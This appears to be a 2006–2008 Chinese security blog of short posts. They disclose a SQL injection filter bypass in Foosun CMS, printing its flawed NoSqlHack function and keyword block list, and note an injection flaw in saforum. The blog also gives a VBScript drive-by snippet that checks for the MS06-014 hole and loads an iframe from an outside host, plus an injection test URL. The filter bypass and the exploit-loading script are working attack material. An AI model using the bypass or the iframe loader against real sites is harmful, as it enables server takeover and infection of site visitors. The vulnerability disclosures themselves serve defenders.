All That God Punished Me,Curse My Soul.
Posted by amxku on 2008-02-22, 8:36 AM
» 阅读全文
Posted by amxku on 2007-10-18, 3:09 PM
foosun cms4sp5 商业版存在严重注射漏洞
风讯4的防注射函数NoSqlHack存在致命缺陷，导致入侵者可以轻松得到webshell
Function.asp
Function NoSqlHack(FS_inputStr)
Dim f_NoSqlHack_AllStr,f_NoSqlHack_Str,f_NoSqlHack_i,Str_InputStr
Str_InputStr=FS_inputStr
f_NoSqlHack_AllStr="*|and |exec |or |insert |select |delete |update |count |master |truncate |declare |and |exec |insert |select |delete |update |count |master |truncate |declare |char(|mid(|chr(|and[|exec[|insert[|select[|delete[|update[|count[|master[|truncate[|declare[|set[|set |set |where[|where |where |xp_cmdshell|xp_cmdshell |xp_cmdshell "
f_NoSqlHack_Str = Split(f_NoSqlHack_AllStr,"|")
For f_NoSqlHack_i=LBound(f_NoSqlHack_Str) To Ubound(f_NoSqlHack_Str)
If Instr(LCase(Str_InputStr),f_NoSqlHack_Str(f_NoSqlHack_i))<>0 Then
If f_NoSqlHack_Str(f_NoSqlHack_i)="'" Then f_NoSqlHack_Str(f_NoSqlHack_i)=" \' "
Response.Write "<html><title>??</title><body bgcolor=""EEEEEE"" leftmargin=""60"" topmargin=""30""><font style=""font-size:16px;font-weight:bolder;color:blue;""><li>???????????</li></font><font style=""font-size:14px;font-weight:bolder;color:red;""><br><li>?????????!</li><br><li>??IP:"&Request.ServerVariables("Remote_Addr")&"</li><br><li>????:"&Now&"</li></font></body></html><!--Powered by Foosun Inc.,AddTime:"&now&"-->"
Response.End
End if
Next
NoSqlHack = Replace(Str_InputStr,"'","''")
End Function
关键字后面跟空格和tab是过滤的,但是跟回车时一样可以执行注射语句.过滤单引号也没有用的，我插入时用16进制编码,所以每一个点都是有问题的注射点
http://www.sebug.net/vulndb/2306
Posted by amxku on 2007-09-19, 11:29 PM
saforum 注射漏洞
saforum是国内安全研究人员修改过的saforum论坛,但是代码中有一点瑕疵导致可能被获取管理员权限:)
\include\common.php 行41~49引入没有过滤的变量
Posted by amxku on 2007-09-15, 11:15 PM
Tags: sablog, 0day, exp, 脚本渗透, 漏洞
Posted by amxku on 2007-04-15, 12:05 AM
经过一天的折腾，终于是到家了。
累得不行，呵。不过在内蒙也不错，项目都已经搞定了，已经验收了。用户对我们的工作也还算是满意吧。不过也得好好的总结一下，毕竟还是存在着一些问题。下个星期又开始新的生活了。
前几天BOSS传给我一个IIS的溢出。哈哈，当时兴奋了半天，传说中的iis6远程溢出啊，哈哈。丢几个图看看。
Posted by amxku on 2007-03-14, 9:06 PM
Posted by amxku on 2007-02-11, 10:43 PM
<script language=VBScript>
on error resume next
set server = document.createElement("object")
server.setAttribute "classid", "clsid:10072CEC-8CC1-11D1-986E-00A0C955B42E"
set File = server.createobject(Adodb.Stream,"")
if Not Err.Number = 0 then
err.clear
'msgbox "没有0614漏洞,页面转到ms07004exp!"
document.write ("<iframe src=http://1v1.name width=100% height=100% scrolling=no frameborder=0>")
else
'msgbox "存在0614漏洞,页面转到MS0614的exp!"
document.write ("<iframe src=http://1v1.name width=100% height=100% scrolling=no frameborder=0>")
end if
</script>
Posted by amxku on 2007-01-10, 2:22 AM
Posted by amxku on 2006-12-13, 2:56 AM
» 阅读全文
Posted by amxku on 2006-11-19, 10:41 PM
http://site.com/region.asp?country=tt&city=whytt&province=shi'
